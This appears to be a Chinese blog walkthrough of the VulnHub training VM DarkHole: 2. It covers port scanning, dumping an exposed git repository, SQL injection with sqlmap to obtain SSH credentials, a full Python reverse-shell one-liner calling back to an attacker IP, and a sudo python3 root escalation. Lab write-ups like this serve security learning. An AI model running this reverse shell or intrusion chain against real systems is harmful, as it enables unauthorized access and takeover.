当前位置:网站首页>DarkHole: 2 vulnhub walkthrough
DarkHole: 2 vulnhub walkthrough
2022-08-02 03:25:00 【xdeclearn】
下载地址:
https://www.vulnhub.com/entry/darkhole-2,740/
主机和端口发现:
* ~ nmap -sn 192.168.143.0/24
Host is up (0.00010s latency).
Nmap scan report for 192.168.143.206
* ~ nmap -T4 -v -p- 192.168.143.206
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
访问web服务,有一个登录页面:

尝试注入失败,于是dirb爆破一下目录:

发现了git目录,于是使用git_extract提取目标代码,首先查看login.php。
<?php
session_start();
require 'config/config.php';
if($_SERVER['REQUEST_METHOD'] == 'POST'){
if($_POST['email'] == "[email protected]" && $_POST['password'] == "321"){
$_SESSION['userid'] = 1;
header("location:dashboard.php");
die();
}
}
?>
获取用户名和密码后登录,发现一处注入点。

直接使用sqlmap进行自动化注入,需要注意的是需要cookie,在ssh表中得到了用户名和密码:
+--------+------+
| user | pass |
+--------+------+
| jehad | fool |
+--------+------+
ssh登录,进入/home/losy,获取到用户flag。
[email protected]:/home/losy$ cat user.txt
DarkHole{
'This_is_the_life_man_better_than_a_cruise'}
查看进程,发现一个进程。

查看后是本地写了一个一句话shell,利用它反弹一个用户losy的shell,这里使用python反弹shell。
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.143.135",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
进行url编码后作为cmd输入,成功切换到用户losy。

查看.bash_history,获取losy用户密码gang。

查看sudo,发现可以运行python3,成功获取root。

边栏推荐
猜你喜欢
随机推荐
TCP communications program
display,visibility,opacity
14. JS Statements and Comments, Variables and Data Types
Using PHPMailer send mail
PHP 给图片添加全图水印
IP门禁:手把手教你用PHP实现一个IP防火墙
每日五道面试题总结 22/7/20
QR code generation API interface, which can be directly connected as an A tag
17. JS conditional statements and loops, and data type conversion
ES6三点运算符、数组方法、字符串扩展方法
16. JS events, string and operator
The Error in the render: "TypeError: always read the properties of null '0' (reading)" Error solution
v-bind用法:类动态绑定对象 数组 style样式 及函数方法
Multithreading (implementing multithreading, thread synchronization, producer and consumer)
[league/flysystem]一个优雅且支持度非常高的文件操作接口
Phpstudy安装Thinkphp6(问题+解决)
[symfony/finder]最好用的文件操作库
[league/flysystem] An elegant and highly supported file operation interface
PHP有哪些杀手级超厉害框架或库或应用?
[symfony/finder] The best file manipulation library









